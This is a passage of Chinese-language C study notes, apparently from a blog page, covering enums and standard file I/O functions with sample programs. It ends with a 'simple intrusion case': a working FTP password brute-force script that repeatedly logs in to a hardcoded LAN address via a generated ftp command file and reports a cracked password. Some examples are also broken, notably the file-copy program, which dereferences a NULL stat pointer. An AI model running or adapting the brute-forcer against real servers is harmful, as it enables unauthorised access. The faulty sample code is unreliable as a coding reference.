	printf("%x\n", tmp.a); //11
	printf("%x\n", tmp.c); //2211

	tmp.a = 0x00;
	printf("short: %x\n", tmp.c); //2200
	printf("int: %x\n", tmp.b); //44332200

	return 0;
}

5 枚举

枚举:将变量的值一一列举出来,变量的值只限于列举出来的值的范围内。
	在枚举值表中应列出所有可用值,也称为枚举元素。
	枚举值是常量,不能在程序中用赋值语句再对它赋值。
	枚举元素本身由系统定义了一个表示序号的数值从0开始顺序定义为0,1,2 …	
#include <stdio.h>
//用于流程化操作
enum weekday
{
	sun = 2, mon, tue = 10, wed, thu, fri, sat
} ;

int main()
{
	enum weekday a, b, c,d;
	a = sun;//2
	b = mon;//3
	c = tue;//10
	d = wed;//11
	printf("%d,%d,%d,%d\n", a, b, c,d);
	
	return 0;
}

6.文件操作

6.1文件分类
	6.1.1磁盘文件和设备文件
		磁盘文件:指一组相关数据的有序集合,通常存储在外部介质(如磁盘)上,使用时才调入
	内存。
		设备文件:在操作系统中把每一个与主机相连的输入、输出设备看作是一个文件,把它们
	的输入、输出等同于对磁盘文件的读和写。
	
	6.1.2 磁盘文件的分类
		计算机的存储在物理上是二进制的,所以物理上所有的磁盘文件本质上都是一样的:以字节
	为单位进行顺序存储。
		从用户或者操作系统使用的角度(逻辑上)把文件分为:
		文本文件:基于字符编码的文件  
		二进制文件:基于值编码的文件

	6.1.3 文本文件和二进制文件
	1)文本文件
		基于字符编码,常见编码有ASCII、UNICODE等
		一般可以使用文本编辑器直接打开
		数5678的以ASCII存储形式(ASCII码)为:00110101 00110110 00110111 00111000
	
	2)二进制文件
		基于值编码,自己根据具体应用,指定某个值是什么意思
		把内存中的数据按其在内存中的存储形式原样输出到磁盘上
		数5678的存储形式(二进制码)为:00010110 00101110

6.2 文件的打开和关闭
	6.2.1 文件指针
		在C语言中用一个指针变量指向一个文件,这个指针称为文件指针。
		FILE是系统使用typedef定义出来的有关文件信息的一种结构体类型,结构中含有文件名、
	文件状态和文件当前位置等信息。
		声明FILE结构体类型的信息包含在头文件“stdio.h”中,一般设置一个指向FILE类型变量
	的指针变量,然后通过它来引用这些FILE类型变量。通过文件指针就可对它所指的文件进行各
	种操作。 
	
	C语言中有三个特殊的文件指针由系统默认打开,用户无需定义即可直接使用:
		stdin: 标准输入,默认为当前终端(键盘),我们使用的scanf、getchar函数默认从
		此终端获得数据。
		stdout:标准输出,默认为当前终端(屏幕),我们使用的printf、puts函数默认输出
		信息到此终端。
		stderr:标准出错,默认为当前终端(屏幕),我们使用的perror函数默认输出信息到
		此终端。

	6.2.2 文件的打开
		任何文件使用之前必须打开:
			#include <stdio.h>
			FILE * fopen(const char * filename, const char * mode);
			功能:打开文件
			参数:
				filename:需要打开的文件名,根据需要加上路径
				mode:打开文件的模式设置
			返回值:
				成功:文件指针
				失败:NULL

		第一个参数的几种形式:
		//相对路径:
			//打开当前目录passdw文件:源文件(源程序)所在目录	“文件名”
			//打开当前目录(test)下文件	“./test/文件名”
			//打开当前目录上一级目录(相对当前目录)文件	“../文件名”
				
		//绝对路径:
			//打开C盘test目录下一个叫passwd.txt文件	"c://test//passwd.txt"
		
		第二个参数的几种形式(打开文件的方式):
		r或rb		以只读方式打开一个文本文件(不创建文件,若文件不存在则报错)
		w或wb		以写方式打开文件(如果文件存在则清空文件,文件不存在则创建一个文件)
		a或ab		以追加方式打开文件,在末尾添加内容,若文件不存在则创建文件
		r+或rb+		以可读、可写的方式打开文件(不创建新文件)
		w+或wb+		以可读、可写的方式打开文件(如果文件存在则清空文件,文件不存在则创建一个文件)
		a+或ab+		以添加方式打开文件,打开文件并在末尾更改文件,若文件不存在则创建文件
		注意:
			使用r+/w+的时候,在同一时间只能有一种操作。
			b是二进制模式的意思,b只是在Windows有效,在Linux用r和rb的结果是一样的
			Unix和Linux下所有的文本文件行都是\n结尾,而Windows所有的文本文件行都是
		\r\n结尾。
			在Windows平台下,以“文本”方式打开文件,不加b:
			当读取文件的时候,系统会将所有的 "\r\n" 转换成 "\n"
			当写入文件的时候,系统会将 "\n" 转换成 "\r\n" 写入 
			以"二进制"方式打开文件,则读\写都不会进行这样的转换
			在Unix/Linux平台下,“文本”与“二进制”模式没有区别,"\r\n" 作为两个字符原
		样输入输出。
		
			**文件可能会出现打开失败的情况:
				1.文件目录不正确
				2.没有对应的打开文件的权限
				3.打开文件超出上限**
				
	6.2.3 文件的关闭
		任何文件在使用后应该关闭:
			打开的文件会占用内存资源,如果总是打开不关闭,会消耗很多内存
			一个进程同时打开的文件数是有限制的,超过最大同时打开文件数,再次调用fopen
		打开文件会失败
			如果没有明确的调用fclose关闭打开的文件,那么程序在退出的时候,操作系统会
			统一关闭。
		因此,在打开一个文件进行操作后,结束后必须记得关闭文件fclose();
	
6.3 文件的顺序读写
	6.3.1 按照字符读写文件fgetc、fputc
	1)写文件
		#include <stdio.h>
		int fputc(int ch, FILE * stream);
		功能:将ch转换为unsigned char后写入stream指定的文件中
		参数:
			ch:需要写入文件的字符
			stream:文件指针
		返回值:
			成功:成功写入文件的字符
			失败:返回-1
			
	2) 读文件
		#include <stdio.h>
		int fgetc(FILE * stream);
		功能:从stream指定的文件中读取一个字符
		参数:
			stream:文件指针
		返回值:
			成功:返回读取到的字符
			失败:-1
			
	3)文件结尾
		 	在C语言中,EOF表示文件结束符(end of file)。在while循环中以EOF作为文件结束标志,
		这种以EOF作为文件结束标志的文件,必须是文本文件。在文本文件中,数据都是以字符
		的ASCII代码值的形式存放。我们知道,ASCII代码值的范围是0~127,不可能出现-1,因
		此可以用EOF作为文件结束标志(#define EOF -1)。
			当把数据以二进制形式存放到文件中时,就会有-1值的出现,因此不能采用EOF作为
		二进制文件的结束标志。为解决这一个问题,ANSI C提供一个feof函数,用来判断文件
		是否结束。
			feof函数既可用以判断二进制文件又可用以判断文本文件:
			#include <stdio.h>
			int feof(FILE * stream);
			功能:检测是否读取到了文件结尾。判断的是最后一次“读操作的内容”,不是当前位置
				  内容(上一个内容)。
			参数:
				stream:文件指针
			返回值:
				非0值:已经到文件结尾
				0:没有到文件结尾
	简单案例(Linux中的cat命令和vi编辑器的简单实现):
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
//简单文本编辑器
int main0101()
{
	char fileName[256];
	printf("请输入文件名:\n");
	scanf("%s", fileName);
	getchar();//用来接收换行操作
	FILE* fp = fopen(fileName, "w");
	if (fp == NULL)
	{
		return -1;
	}
	char buffer[1024];
	while (1)
	{
		memset(buffer, 0, 1024);
		fgets(buffer, 1024, stdin);
		if (!strncmp("in==exit", buffer,8))//结束标志
		{ 
			break;
		}
		int i = 0;
		while (buffer[i] != 0)
		{
			fputc(buffer[i],fp);
			i++;
		}
	}
	fclose(fp);
	return 0;
}
//cat指令的实现
int main()
{
	char fileName[256];//输入文件名
	printf("输入查看的文件名:\n");
	scanf("%s", fileName);
	getchar();
	FILE* fp = fopen(fileName, "r");//以读的方式打开文件
	if (!fp)
		return -1;
	//每接收一个字符,就做一次输出打印操作
	char buffer = 0;//创建并初始化接收文件内容的字符
	//int i = 0;
	while (buffer != EOF)
	{
		//memset(buffer, 0, 1024);
		buffer = fgetc(fp);
		printf("%c", buffer);
	}
	fclose(fp);
	return 0;
}
	6.3.2按照行读写文件fgets、fputs
		1)写文件
		#include <stdio.h>
		int fputs(const char * str, FILE * stream);
		功能:将str所指定的字符串写入到stream指定的文件中,字符串结束符 '\0'  不写入文件。 
		参数:
			str:字符串
			stream:文件指针
		返回值:
			成功:0
			失败:-1
			
		2)读文件
		#include <stdio.h>
		char * fgets(char * str, int size, FILE * stream);
		功能:从stream指定的文件内读入字符,保存到str所指定的内存空间,直到出现换行字符、读到文件结尾或是已读了size - 1个字符为止,最后会自动加上字符 '\0' 作为字符串结束。
		参数:
			str:字符串
			size:指定最大读取字符串的长度(size - 1)
			stream:文件指针
		返回值:
			成功:成功读取的字符串
			读到文件尾或出错: NULL
	简单案例(随机生成四则运算放在文件中,然后将运算式取出得出结果后放回源文件):
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int main()
{
	//打开文件
	FILE* fp1 = fopen("b.txt", "r");
	FILE* fp2 = fopen("value.txt", "w");
	//判断是否打开成功
	if (!fp1 || !fp2)
		return -1;
	//读取文件内容
	int a, b;
	char c;
	float value = 0;
	char buffer[20];//存储读取到的内容
	while (feof(fp1) == 0)
	{
		memset(buffer, 0, 20);
		fgets(buffer,9,fp1);
		sscanf(buffer, "%d %c %d = \n", &a, &c, &b);
		switch (c)
		{
		case '+':
			value = a + b;
			break;
		case '-':
			value = a - b;
			break;
		case '*':
			value = a * b;
			break;
		case '/':
			value = a*1.0 / b;
			break;
		}
		sprintf(buffer, "%d %c %d = %.2f\n", a, c, b, value);
		fputs(buffer, fp2);
	}
	//关闭文件
	fclose(fp1);
	fclose(fp2);
	return 0;
}
	6.3.3按照格式化文件fprintf、fscanf

	三种不同的格式比较:
	1.字符串的标准输入输出
		scanf();printf();
	2.格式化字符串
		sscanf();sprintf();
	3.格式化文件
		fprintf();fscanf();

		1)写文件
		#include <stdio.h>
		int fprintf(FILE * stream, const char * format, ...);
		功能:根据参数format字符串来转换并格式化数据,然后将结果输出到stream指定的文件中,指定出现字符串结束符 '\0'  为止。
		参数:
			stream:已经打开的文件
			format:字符串格式,用法和printf()一样
		返回值:
			成功:实际写入文件的字符个数
			失败:-1
	
		2)读文件
		#include <stdio.h>
		int fscanf(FILE * stream, const char * format, ...);
		功能:从stream指定的文件读取字符串,并根据参数format字符串来转换并格式化数据。
		参数:
			stream:已经打开的文件
			format:字符串格式,用法和scanf()一样
		返回值:
			成功:参数数目,成功转换的值的个数
			失败: - 1
	简单案例:随机生成1W个数字放于文件中,取出后排序再放回原文件:
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<time.h>

int main()
{
	srand((unsigned int)time(NULL));//随机数种子
	FILE* fp = fopen("randomNum.txt", "w");
	int* p = (int*)malloc(sizeof(int) * 10000);//堆中开辟空间存储数据
	if (!p)
		return -1;
	for (int i = 0; i < 10000; i++)//往文件中输入数据
	{
		int a = rand() % 1000 + 1;
		fprintf(fp,"%d\n",a);
	}
	fclose(fp);
	unsigned int starttime = time(NULL);
	fp = fopen("randomNum.txt", "r");//从文件中读取数据
	for (int i = 0; i < 10000; i++)
	{
		fscanf(fp, "%d\n", &p[i]);
	}
	fclose(fp);
	for (int i = 0; i < 10000 - 1; i++)//排序
	{
		for (int j = 0; j < 10000 - 1 - i; j++)
		{
			if (p[j] > p[j + 1])
			{
				int temp = p[j];
				p[j] = p[j + 1];
				p[j + 1] = temp;
			}
		}
	}
	fp = fopen("randomNum.txt", "w");//从文件中读取数据
	for (int i = 0; i < 10000; i++)
	{
		fprintf(fp, "%d\n", p[i]);
	}
	unsigned int endtime = time(NULL);
	printf("共用时间为:%d\n", endtime - starttime);
	fclose(fp);
	free(p);
	return 0;
}
6.3.4按照块读写文件fread、fwrite
	1)写文件
	#include <stdio.h>
	size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream);
	功能:以数据块的方式给文件写入内容
	参数:
		ptr:准备写入文件数据的地址
		size: size_t 为 unsigned int类型,此参数指定写入文件内容的块数据大小
		nmemb:写入文件的块数,写入文件数据总大小为:size * nmemb
		stream:已经打开的文件指针
	返回值:
		成功:实际成功写入文件数据的块数目,此值和nmemb相等
		失败:0

	2)读文件
	#include <stdio.h>
	size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream);
	功能:以数据块的方式从文件中读取内容
	参数:
		ptr:存放读取出来数据的内存空间
		size: size_t 为 unsigned int类型,此参数指定读取文件内容的块数据大小
		nmemb:读取文件的块数,读取文件数据总大小为:size * nmemb
		stream:已经打开的文件指针
	返回值:
		成功:实际成功读取到内容的块数,如果此值比nmemb小,但大于0,说明读到文件的结尾。
		失败:0

案例:大文件拷贝:
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<time.h>
#include<sys/stat.h>
#include<sys/types.h>

#define MAXSIZE 1024*1024*10


int main(int argc,char* argv[])
{
	unsigned int start_time = time(NULL);
	if (argc < 3)
	{
		printf("缺少参数!\n");
		return -1;
	}

	FILE* fp1 = fopen(argv[1], "r");
	FILE* fp2 = fopen(argv[2], "w");
	if (!fp1 || !fp2)
	{
		printf("操作文件失败\n");
		return -2;
	}
	//获取文件属性
	struct stat* s = NULL;
	//获取源文件
	stat(argv[1], s);

	char* ch;
	int maxSize = 0;
	if ((s->st_size) < MAXSIZE)
	{
		maxSize = s->st_size;
		ch = (char*)malloc(sizeof(char) * (s->st_size));
	}
	else
	{
		maxSize = MAXSIZE;
		ch = (char*)malloc(sizeof(char) * MAXSIZE);
	}

	while (!feof(fp1))
	{
		memset(ch, 0, maxSize);
		int len = fread(ch, 1, maxSize, fp1);
		fwrite(ch, len, 1, fp2);
	}

	fclose(fp1);
	fclose(fp2);
	free(ch);
	unsigned int end_time = time(NULL);
	printf("所花费的时间为:%d(s)\n", end_time - start_time);

	return 0;
}
6.4 文件的随机读写
	#include <stdio.h>
	int fseek(FILE *stream, long offset, int whence);
	功能:移动文件流(文件光标)的读写位置。
	参数:
		stream:已经打开的文件指针
		offset:根据whence来移动的位移数(偏移量),可以是正数,也可以负数,如果正数,则相对于whence往右移动,如果是负数,则相对于whence往左移动。如果向前移动的字节数超过了文件开头则出错返回,如果向后移动的字节数超过了文件末尾,再次写入时将增大文件尺寸。
		whence:其取值如下:
			**SEEK_SET:从文件开头移动offset个字节
			  SEEK_CUR:从当前位置移动offset个字节
			  SEEK_END:从文件末尾移动offset个字节	**
	返回值:
			成功:0
			失败:-1
	
	#include <stdio.h>
	long ftell(FILE *stream);
	功能:获取文件流(文件光标)的读写位置。
	参数:
		stream:已经打开的文件指针
	返回值:
		成功:当前文件流(文件光标)的读写位置
		失败:-1
	
	#include <stdio.h>
	void rewind(FILE *stream);
	功能:把文件流(文件光标)的读写位置移动到文件开头。
	参数:
		stream:已经打开的文件指针
	返回值:
		无返回值
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<time.h>

/*
* 1.fseek(文件流,移动字节,模式):移动光标位置
* 模式:SEEK_SET 以文件开头为标准
*		SEEK_CUR 以光标当前位置为标准
*		SEEK_END 以文件结尾为标准
* 
* 2.ftell(文件流,) 获取光标当前位置 返回值是long类型 
* 3.rewind(文件流)	使光标回到文件初始位置
* 
*/


int main0101()
{
	char* arr = "hello world";
	FILE* fp = fopen("d.txt", "w");

	fputs(arr, fp);
	fclose(fp);

	return 0;
}

int main0102()
{
	FILE* fp = fopen("d.txt", "r");
	if (!fp)
		return -1;
	//SEEK_SET 文件起始位置		SEEK_END 文件结束位置
	//fseek(fp,6,SEEK_SET);//从文件起始位置开始移动
	fseek(fp, -5, SEEK_END);

	char ch;
	while ((ch = getc(fp)) != EOF)
		printf("%c", ch);

	fclose(fp);

	return 0;
}

int main()
{
	FILE* fp = fopen("d.txt", "r");
	if (!fp)
		return -1;
	char buf[20];
	while (!feof(fp))
	{
		fgets(buf, 20, fp);
		printf("%s", buf);
		printf("%ld\n", ftell(fp));
	}
	rewind(fp);
	printf("%ld\n", ftell(fp));

	fclose(fp);
	return 0;
}
6.5 Windows和Linux文本文件区别
	1.b是二进制模式的意思,b只是在Windows有效,在Linux用r和rb的结果是一样的
	2.Unix和Linux下所有的文本文件行都是\n结尾,而Windows所有的文本文件行都是\r\n结尾
	3.在Windows平台下,以“文本”方式打开文件,不加b:
	4.当读取文件的时候,系统会将所有的 "\r\n" 转换成 "\n"
	5.当写入文件的时候,系统会将 "\n" 转换成 "\r\n" 写入 
	6.以"二进制"方式打开文件,则读\写都不会进行这样的转换
	7.在Unix/Linux平台下,“文本”与“二进制”模式没有区别,"\r\n" 作为两个字符原样输入输出
	
	判断文本文件是Linux格式还是Windows格式:

6.6 获取文件状态
	#include <sys/types.h>
	#include <sys/stat.h>
	int stat(const char *path, struct stat *buf);
	功能:获取文件状态信息
	参数:
	path:文件名
	buf:保存文件信息的结构体
	返回值:
	成功:0
	失败-1

6.7 删除文件、重命名文件名
	#include <stdio.h>
	int remove(const char *pathname);
	功能:删除文件
	参数:
		pathname:文件名
	返回值:
		成功:0
		失败:-1
	
	#include <stdio.h>
	int rename(const char *oldpath, const char *newpath);
	功能:把oldpath的文件名改为newpath
	参数:
	oldpath:旧文件名
	newpath:新文件名
	返回值:
	成功:0
	失败: - 1

6.8 文件缓冲区
6.8.1文件缓冲区
	1.ANSI C标准采用“缓冲文件系统”处理数据文件。	
	2.所谓缓冲文件系统是指系统自动地在内存区为程序中每一个正在使用的文件开辟一个文
件缓冲区从内存向磁盘输出数据必须先送到内存中的缓冲区,装满缓冲区后才一起送到磁盘去。		
	3.如果从磁盘向计算机读入数据,则一次从磁盘文件将一批数据输入到内存缓冲区(充满
缓冲区),然后再从缓冲区逐个地将数据送到程序数据区(给程序变量) 。

6.8.2磁盘文件的存取
	1.磁盘文件,一般保存在硬盘、U盘等掉电不丢失的磁盘设备中,在需要时调入内存
	2.在内存中对文件进行编辑处理后,保存到磁盘中
	3.程序与磁盘之间交互,不是立即完成,系统或程序可根据需要设置缓冲区,以提高存取
	效率。

	更新缓冲区:
	#include <stdio.h>
	int fflush(FILE *stream);
	功能:更新缓冲区,让缓冲区的数据立马写到文件中。
	参数:
	stream:文件指针
	返回值:
	成功:0
	失败:-1

简单入侵案例:
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void CreatePassFile(char * ip,char * pass)
{
    //生成格式 密钥文件
    FILE * fp2 = fopen("D:\\a.txt","w");
    if(!fp2)
        return;
    //生成文件格式:
    //open 192.168.123.111
    //user
    //user
    //0000001
    //bye

    //fprintf(fp2,"open %s\nuser\nuser\n%sbye",ip,pass);
    fprintf(fp2,"open %s\nuser\nfeng\n%sbye",ip,pass);

    fclose(fp2);

}

int main(void)
{
	//执行远程登陆指令
    //ip地址 192.168.123.106
    char * ip = "192.168.123.106";
    //密码:读取文件
//    FILE * fp1=fopen("D:\\pass.txt","r");
//    if(!fp1)
//        return -1;
    char pass[20];
    pass[0]=32;
    while(1)
    {
        memset(pass,0,20);
        CreatePassFile(ip,pass);

        char buf[1024];
        FILE *fp3 = _popen("ftp -n -s:D:\\a.txt","r");
        if(!fp3)
            return -1;
        while(!feof(fp3))
        {
            memset(buf,0,1024);
            fgets(buf,1024,fp3);
            if(!strncmp("230",buf,3))
            {
                printf("入侵成功!\n");
                printf("密码:%s",pass);
                exit(0);
            }
        }
        _pclose(fp3);
        pass[0]++;
    }

    return 0;
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值